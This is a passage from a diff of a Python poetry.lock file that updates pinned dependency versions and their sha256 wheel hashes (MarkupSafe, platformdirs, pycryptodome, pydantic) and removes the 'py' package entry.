"sha256:56d9f2ecac662ca1611d183feb03a3fa4406469dafe241673d521dd5ae92a155"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win32.whl", hash = "sha256:8758846a7e80910096950b67071243da3e5a20ed2546e6392603c096778d48e0"}, + {file = "MarkupSafe-2.1.3-cp37-cp37m-win_amd64.whl", hash = "sha256:787003c0ddb00500e49a10f2844fac87aa6ce977b90b0feaaf9de23c22508b24"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:2ef12179d3a291be237280175b542c07a36e7f60718296278d8593d21ca937d4"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:2c1b19b3aaacc6e57b7e25710ff571c24d6c3613a45e905b1fde04d691b98ee0"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8afafd99945ead6e075b973fefa56379c5b5c53fd8937dad92c662da5d8fd5ee"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c41976a29d078bb235fea9b2ecd3da465df42a562910f9022f1a03107bd02be"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d080e0a5eb2529460b30190fcfcc4199bd7f827663f858a226a81bc27beaa97e"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:69c0f17e9f5a7afdf2cc9fb2d1ce6aabdb3bafb7f38017c0b77862bcec2bbad8"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:504b320cd4b7eff6f968eddf81127112db685e81f7e36e75f9f84f0df46041c3"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:42de32b22b6b804f42c5d98be4f7e5e977ecdd9ee9b660fda1a3edf03b11792d"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win32.whl", hash = "sha256:ceb01949af7121f9fc39f7d27f91be8546f3fb112c608bc4029aef0bab86a2a5"}, + {file = "MarkupSafe-2.1.3-cp38-cp38-win_amd64.whl", hash = "sha256:1b40069d487e7edb2676d3fbdb2b0829ffa2cd63a2ec26c4938b2d34391b4ecc"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8023faf4e01efadfa183e863fefde0046de576c6f14659e8782065bcece22198"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6b2b56950d93e41f33b4223ead100ea0fe11f8e6ee5f641eb753ce4b77a7042b"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dcdfd0eaf283af041973bff14a2e143b8bd64e069f4c383416ecd79a81aab58"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:05fb21170423db021895e1ea1e1f3ab3adb85d1c2333cbc2310f2a26bc77272e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:282c2cb35b5b673bbcadb33a585408104df04f14b2d9b01d4c345a3b92861c2c"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:ab4a0df41e7c16a1392727727e7998a467472d0ad65f3ad5e6e765015df08636"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:7ef3cb2ebbf91e330e3bb937efada0edd9003683db6b57bb108c4001f37a02ea"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:0a4e4a1aff6c7ac4cd55792abf96c915634c2b97e3cc1c7129578aa68ebd754e"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win32.whl", hash = "sha256:fec21693218efe39aa7f8599346e90c705afa52c5b31ae019b2e57e8f6542bb2"}, + {file = "MarkupSafe-2.1.3-cp39-cp39-win_amd64.whl", hash = "sha256:3fd4abcb888d15a94f32b75d8fd18ee162ca0c064f35b11134be77050296d6ba"}, + {file = "MarkupSafe-2.1.3.tar.gz", hash = "sha256:af598ed32d6ae86f1b747b82783958b1a4ab8f617b06fe68795c7f026abbdcad"}, ] [[package]] @@ -1066,17 +1074,17 @@ files = [ [[package]] name = "platformdirs" -version = "3.5.0" +version = "3.5.1" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"." optional = false python-versions = ">=3.7" files = [ - {file = "platformdirs-3.5.0-py3-none-any.whl", hash = "sha256:47692bc24c1958e8b0f13dd727307cff1db103fca36399f457da8e05f222fdc4"}, - {file = "platformdirs-3.5.0.tar.gz", hash = "sha256:7954a68d0ba23558d753f73437c55f89027cf8f5108c19844d4b82e5af396335"}, + {file = "platformdirs-3.5.1-py3-none-any.whl", hash = "sha256:e2378146f1964972c03c085bb5662ae80b2b8c06226c54b2ff4aa9483e8a13a5"}, + {file = "platformdirs-3.5.1.tar.gz", hash = "sha256:412dae91f52a6f84830f39a8078cecd0e866cb72294a5c66808e74d5e88d251f"}, ] [package.extras] -docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.2.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] [[package]] @@ -1119,17 +1127,6 @@ files = [ [package.dependencies] wcwidth = "*" -[[package]] -name = "py" -version = "1.11.0" -description = "library with cross-python path, ini-parsing, io, code, log facilities" -optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" -files = [ - {file = "py-1.11.0-py2.py3-none-any.whl", hash = "sha256:607c53218732647dff4acdfcd50cb62615cedf612e72d1724fb1a0cc6405b378"}, - {file = "py-1.11.0.tar.gz", hash = "sha256:51c75c4126074b472f746a24399ad32f6053d1b34b68d2fa41e558e6f4a98719"}, -] - [[package]] name = "pyasn1" version = "0.5.0" @@ -1168,89 +1165,88 @@ files = [ [[package]] name = "pycryptodome" -version = "3.17" +version = "3.18.0" description = "Cryptographic library for Python" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "pycryptodome-3.17-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:2c5631204ebcc7ae33d11c43037b2dafe25e2ab9c1de6448eb6502ac69c19a56"}, - {file = "pycryptodome-3.17-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:04779cc588ad8f13c80a060b0b1c9d1c203d051d8a43879117fe6b8aaf1cd3fa"}, - {file = "pycryptodome-3.17-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:f812d58c5af06d939b2baccdda614a3ffd80531a26e5faca2c9f8b1770b2b7af"}, - {file = "pycryptodome-3.17-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:9453b4e21e752df8737fdffac619e93c9f0ec55ead9a45df782055eb95ef37d9"}, - {file = "pycryptodome-3.17-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:121d61663267f73692e8bde5ec0d23c9146465a0d75cad75c34f75c752527b01"}, - {file = "pycryptodome-3.17-cp27-cp27m-win32.whl", hash = "sha256:ba2d4fcb844c6ba5df4bbfee9352ad5352c5ae939ac450e06cdceff653280450"}, - {file = "pycryptodome-3.17-cp27-cp27m-win_amd64.whl", hash = "sha256:87e2ca3aa557781447428c4b6c8c937f10ff215202ab40ece5c13a82555c10d6"}, - {file = "pycryptodome-3.17-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:f44c0d28716d950135ff21505f2c764498eda9d8806b7c78764165848aa419bc"}, - {file = "pycryptodome-3.17-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:5a790bc045003d89d42e3b9cb3cc938c8561a57a88aaa5691512e8540d1ae79c"}, - {file = "pycryptodome-3.17-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:d086d46774e27b280e4cece8ab3d87299cf0d39063f00f1e9290d096adc5662a"}, - {file = "pycryptodome-3.17-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5587803d5b66dfd99e7caa31ed91fba0fdee3661c5d93684028ad6653fce725f"}, - {file = "pycryptodome-3.17-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:e7debd9c439e7b84f53be3cf4ba8b75b3d0b6e6015212355d6daf44ac672e210"}, - {file = "pycryptodome-3.17-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ca1ceb6303be1282148f04ac21cebeebdb4152590842159877778f9cf1634f09"}, - {file = "pycryptodome-3.17-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:dc22cc00f804485a3c2a7e2010d9f14a705555f67020eb083e833cabd5bd82e4"}, - {file = "pycryptodome-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80ea8333b6a5f2d9e856ff2293dba2e3e661197f90bf0f4d5a82a0a6bc83a626"}, - {file = "pycryptodome-3.17-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c133f6721fba313722a018392a91e3c69d3706ae723484841752559e71d69dc6"}, - {file = "pycryptodome-3.17-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:333306eaea01fde50a73c4619e25631e56c4c61bd0fb0a2346479e67e3d3a820"}, - {file = "pycryptodome-3.17-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1a30f51b990994491cec2d7d237924e5b6bd0d445da9337d77de384ad7f254f9"}, - {file = "pycryptodome-3.17-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:909e36a43fe4a8a3163e9c7fc103867825d14a2ecb852a63d3905250b308a4e5"}, - {file = "pycryptodome-3.17-cp35-abi3-win32.whl", hash = "sha256:a3228728a3808bc9f18c1797ec1179a0efb5068c817b2ffcf6bcd012494dffb2"}, - {file = "pycryptodome-3.17-cp35-abi3-win_amd64.whl", hash = "sha256:9ec565e89a6b400eca814f28d78a9ef3f15aea1df74d95b28b7720739b28f37f"}, - {file = "pycryptodome-3.17-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:e1819b67bcf6ca48341e9b03c2e45b1c891fa8eb1a8458482d14c2805c9616f2"}, - {file = "pycryptodome-3.17-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:f8e550caf52472ae9126953415e4fc554ab53049a5691c45b8816895c632e4d7"}, - {file = "pycryptodome-3.17-pp27-pypy_73-win32.whl", hash = "sha256:afbcdb0eda20a0e1d44e3a1ad6d4ec3c959210f4b48cabc0e387a282f4c7deb8"}, - {file = "pycryptodome-3.17-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a74f45aee8c5cc4d533e585e0e596e9f78521e1543a302870a27b0ae2106381e"}, - {file = "pycryptodome-3.17-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38bbd6717eac084408b4094174c0805bdbaba1f57fc250fd0309ae5ec9ed7e09"}, - {file = "pycryptodome-3.17-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f68d6c8ea2974a571cacb7014dbaada21063a0375318d88ac1f9300bc81e93c3"}, - {file = "pycryptodome-3.17-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:8198f2b04c39d817b206ebe0db25a6653bb5f463c2319d6f6d9a80d012ac1e37"}, - {file = "pycryptodome-3.17-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3a232474cd89d3f51e4295abe248a8b95d0332d153bf46444e415409070aae1e"}, - {file = "pycryptodome-3.17-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4992ec965606054e8326e83db1c8654f0549cdb26fce1898dc1a20bc7684ec1c"}, - {file = "pycryptodome-3.17-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:53068e33c74f3b93a8158dacaa5d0f82d254a81b1002e0cd342be89fcb3433eb"}, - {file = "pycryptodome-3.17-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:74794a2e2896cd0cf56fdc9db61ef755fa812b4a4900fa46c49045663a92b8d0"}, - {file = "pycryptodome-3.17.tar.gz", hash = "sha256:bce2e2d8e82fcf972005652371a3e8731956a0c1fbb719cc897943b3695ad91b"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:d1497a8cd4728db0e0da3c304856cb37c0c4e3d0b36fcbabcc1600f18504fc54"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:928078c530da78ff08e10eb6cada6e0dff386bf3d9fa9871b4bbc9fbc1efe024"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:157c9b5ba5e21b375f052ca78152dd309a09ed04703fd3721dce3ff8ecced148"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:d20082bdac9218649f6abe0b885927be25a917e29ae0502eaf2b53f1233ce0c2"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e8ad74044e5f5d2456c11ed4cfd3e34b8d4898c0cb201c4038fe41458a82ea27"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:62a1e8847fabb5213ccde38915563140a5b338f0d0a0d363f996b51e4a6165cf"}, + {file = "pycryptodome-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:16bfd98dbe472c263ed2821284118d899c76968db1a6665ade0c46805e6b29a4"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:7a3d22c8ee63de22336679e021c7f2386f7fc465477d59675caa0e5706387944"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:78d863476e6bad2a592645072cc489bb90320972115d8995bcfbee2f8b209918"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:b6a610f8bfe67eab980d6236fdc73bfcdae23c9ed5548192bb2d530e8a92780e"}, + {file = "pycryptodome-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:422c89fd8df8a3bee09fb8d52aaa1e996120eafa565437392b781abec2a56e14"}, + {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:9ad6f09f670c466aac94a40798e0e8d1ef2aa04589c29faa5b9b97566611d1d1"}, + {file = "pycryptodome-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:53aee6be8b9b6da25ccd9028caf17dcdce3604f2c7862f5167777b707fbfb6cb"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:10da29526a2a927c7d64b8f34592f461d92ae55fc97981aab5bbcde8cb465bb6"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f21efb8438971aa16924790e1c3dba3a33164eb4000106a55baaed522c261acf"}, + {file = "pycryptodome-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4944defabe2ace4803f99543445c27dd1edbe86d7d4edb87b256476a91e9ffa4"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:51eae079ddb9c5f10376b4131be9589a6554f6fd84f7f655180937f611cd99a2"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:83c75952dcf4a4cebaa850fa257d7a860644c70a7cd54262c237c9f2be26f76e"}, + {file = "pycryptodome-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:957b221d062d5752716923d14e0926f47670e95fead9d240fa4d4862214b9b2f"}, + {file = "pycryptodome-3.18.0-cp35-abi3-win32.whl", hash = "sha256:795bd1e4258a2c689c0b1f13ce9684fa0dd4c0e08680dcf597cf9516ed6bc0f3"}, + {file = "pycryptodome-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:b1d9701d10303eec8d0bd33fa54d44e67b8be74ab449052a8372f12a66f93fb9"}, + {file = "pycryptodome-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:cb1be4d5af7f355e7d41d36d8eec156ef1382a88638e8032215c215b82a4b8ec"}, + {file = "pycryptodome-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:fc0a73f4db1e31d4a6d71b672a48f3af458f548059aa05e83022d5f61aac9c08"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f022a4fd2a5263a5c483a2bb165f9cb27f2be06f2f477113783efe3fe2ad887b"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:363dd6f21f848301c2dcdeb3c8ae5f0dee2286a5e952a0f04954b82076f23825"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:12600268763e6fec3cefe4c2dcdf79bde08d0b6dc1813887e789e495cb9f3403"}, + {file = "pycryptodome-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:4604816adebd4faf8810782f137f8426bf45fee97d8427fa8e1e49ea78a52e2c"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:01489bbdf709d993f3058e2996f8f40fee3f0ea4d995002e5968965fa2fe89fb"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3811e31e1ac3069988f7a1c9ee7331b942e605dfc0f27330a9ea5997e965efb2"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6f4b967bb11baea9128ec88c3d02f55a3e338361f5e4934f5240afcb667fdaec"}, + {file = "pycryptodome-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:9c8eda4f260072f7dbe42f473906c659dcbadd5ae6159dfb49af4da1293ae380"}, + {file = "pycryptodome-3.18.0.tar.gz", hash = "sha256:c9adee653fc882d98956e33ca2c1fb582e23a8af7ac82fee75bd6113c55a0413"}, ] [[package]] name = "pydantic" -version = "1.10.7" +version = "1.10.9" description = "Data validation and settings management using python type hints" optional = false python-versions = ">=3.7" files = [ - {file = "pydantic-1.10.7-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e79e999e539872e903767c417c897e729e015872040e56b96e67968c3b918b2d"}, - {file = "pydantic-1.10.7-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:01aea3a42c13f2602b7ecbbea484a98169fb568ebd9e247593ea05f01b884b2e"}, - {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:516f1ed9bc2406a0467dd777afc636c7091d71f214d5e413d64fef45174cfc7a"}, - {file = "pydantic-1.10.7-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae150a63564929c675d7f2303008d88426a0add46efd76c3fc797cd71cb1b46f"}, - {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:ecbbc51391248116c0a055899e6c3e7ffbb11fb5e2a4cd6f2d0b93272118a209"}, - {file = "pydantic-1.10.7-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:f4a2b50e2b03d5776e7f21af73e2070e1b5c0d0df255a827e7c632962f8315af"}, - {file = "pydantic-1.10.7-cp310-cp310-win_amd64.whl", hash = "sha256:a7cd2251439988b413cb0a985c4ed82b6c6aac382dbaff53ae03c4b23a70e80a"}, - {file = "pydantic-1.10.7-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:68792151e174a4aa9e9fc1b4e653e65a354a2fa0fed169f7b3d09902ad2cb6f1"}, - {file = "pydantic-1.10.7-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:dfe2507b8ef209da71b6fb5f4e597b50c5a34b78d7e857c4f8f3115effaef5fe"}, - {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:10a86d8c8db68086f1e30a530f7d5f83eb0685e632e411dbbcf2d5c0150e8dcd"}, - {file = "pydantic-1.10.7-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d75ae19d2a3dbb146b6f324031c24f8a3f52ff5d6a9f22f0683694b3afcb16fb"}, - {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:464855a7ff7f2cc2cf537ecc421291b9132aa9c79aef44e917ad711b4a93163b"}, - {file = "pydantic-1.10.7-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:193924c563fae6ddcb71d3f06fa153866423ac1b793a47936656e806b64e24ca"}, - {file = "pydantic-1.10.7-cp311-cp311-win_amd64.whl", hash = "sha256:b4a849d10f211389502059c33332e91327bc154acc1845f375a99eca3afa802d"}, - {file = "pydantic-1.10.7-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:cc1dde4e50a5fc1336ee0581c1612215bc64ed6d28d2c7c6f25d2fe3e7c3e918"}, - {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e0cfe895a504c060e5d36b287ee696e2fdad02d89e0d895f83037245218a87fe"}, - {file = "pydantic-1.10.7-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:670bb4683ad1e48b0ecb06f0cfe2178dcf74ff27921cdf1606e527d2617a81ee"}, - {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:950ce33857841f9a337ce07ddf46bc84e1c4946d2a3bba18f8280297157a3fd1"}, - {file = "pydantic-1.10.7-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:c15582f9055fbc1bfe50266a19771bbbef33dd28c45e78afbe1996fd70966c2a"}, - {file = "pydantic-1.10.7-cp37-cp37m-win_amd64.whl", hash = "sha256:82dffb306dd20bd5268fd6379bc4bfe75242a9c2b79fec58e1041fbbdb1f7914"}, - {file = "pydantic-1.10.7-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:8c7f51861d73e8b9ddcb9916ae7ac39fb52761d9ea0df41128e81e2ba42886cd"}, - {file = "pydantic-1.10.7-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:6434b49c0b03a51021ade5c4daa7d70c98f7a79e95b551201fff682fc1661245"}, - {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64d34ab766fa056df49013bb6e79921a0265204c071984e75a09cbceacbbdd5d"}, - {file = "pydantic-1.10.7-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:701daea9ffe9d26f97b52f1d157e0d4121644f0fcf80b443248434958fd03dc3"}, - {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:cf135c46099ff3f919d2150a948ce94b9ce545598ef2c6c7bf55dca98a304b52"}, - {file = "pydantic-1.10.7-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0f85904f73161817b80781cc150f8b906d521fa11e3cdabae19a581c3606209"}, - {file = "pydantic-1.10.7-cp38-cp38-win_amd64.whl", hash = "sha256:9f6f0fd68d73257ad6685419478c5aece46432f4bdd8d32c7345f1986496171e"}, - {file = "pydantic-1.10.7-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c230c0d8a322276d6e7b88c3f7ce885f9ed16e0910354510e0bae84d54991143"}, - {file = "pydantic-1.10.7-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:976cae77ba6a49d80f461fd8bba183ff7ba79f44aa5cfa82f1346b5626542f8e"}, - {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7d45fc99d64af9aaf7e308054a0067fdcd87ffe974f2442312372dfa66e1001d"}, - {file = "pydantic-1.10.7-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d2a5ebb48958754d386195fe9e9c5106f11275867051bf017a8059410e9abf1f"}, - {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:abfb7d4a7cd5cc4e1d1887c43503a7c5dd608eadf8bc615413fc498d3e4645cd"}, - {file = "pydantic-1.10.7-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:80b1fab4deb08a8292d15e43a6edccdffa5377a36a4597bb545b93e79c5ff0a5"}, - {file = "pydantic-1.10.7-cp39-cp39-win_amd64.whl", hash = "sha256:d71e69699498b020ea198468e2480a2f1e7433e32a3a99760058c6520e2bea7e"}, - {file = "pydantic-1.10.7-py3-none-any.whl", hash = "sha256:0cd181f1d0b1d00e2b705f1bf1ac7799a2d938cce3376b8007df62b29be3c2c6"}, - {file = "pydantic-1.10.7.tar.gz", hash = "sha256:cfc83c0678b6ba51b0532bea66860617c4cd4251ecf76e9846fa5a9f3454e97e"}, + {file = "pydantic-1.10.9-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e692dec4a40bfb40ca530e07805b1208c1de071a18d26af4a2a0d79015b352ca"}, + {file = "pydantic-1.10.9-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3c52eb595db83e189419bf337b59154bdcca642ee4b2a09e5d7797e41ace783f"}, + {file = "pydantic-1.10.9-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:939328fd539b8d0edf244327398a667b6b140afd3bf7e347cf9813c736211896"}, + {file = "pydantic-1.10.9-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b48d3d634bca23b172f47f2335c617d3fcb4b3ba18481c96b7943a4c634f5c8d"}, + {file = "pydantic-1.10.9-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:f0b7628fb8efe60fe66fd4adadd7ad2304014770cdc1f4934db41fe46cc8825f"}, + {file = "pydantic-1.10.9-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:e1aa5c2410769ca28aa9a7841b80d9d9a1c5f223928ca8bec7e7c9a34d26b1d4"}, + {file = "pydantic-1.10.9-cp310-cp310-win_amd64.whl", hash = "sha256:eec39224b2b2e861259d6f3c8b6290d4e0fbdce147adb797484a42278a1a486f"}, + {file = "pydantic-1.10.9-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d111a21bbbfd85c17248130deac02bbd9b5e20b303338e0dbe0faa78330e37e0"}, + {file = "pydantic-1.10.9-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2e9aec8627a1a6823fc62fb96480abe3eb10168fd0d859ee3d3b395105ae19a7"}, + {file = "pydantic-1.10.9-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07293ab08e7b4d3c9d7de4949a0ea571f11e4557d19ea24dd3ae0c524c0c334d"}, + {file = "pydantic-1.10.9-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ee829b86ce984261d99ff2fd6e88f2230068d96c2a582f29583ed602ef3fc2c"}, + {file = "pydantic-1.10.9-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:4b466a23009ff5cdd7076eb56aca537c745ca491293cc38e72bf1e0e00de5b91"}, + {file = "pydantic-1.10.9-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:7847ca62e581e6088d9000f3c497267868ca2fa89432714e21a4fb33a04d52e8"}, + {file = "pydantic-1.10.9-cp311-cp311-win_amd64.whl", hash = "sha256:7845b31959468bc5b78d7b95ec52fe5be32b55d0d09983a877cca6aedc51068f"}, + {file = "pydantic-1.10.9-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:517a681919bf880ce1dac7e5bc0c3af1e58ba118fd774da2ffcd93c5f96eaece"}, + {file = "pydantic-1.10.9-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67195274fd27780f15c4c372f4ba9a5c02dad6d50647b917b6a92bf00b3d301a"}, + {file = "pydantic-1.10.9-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = 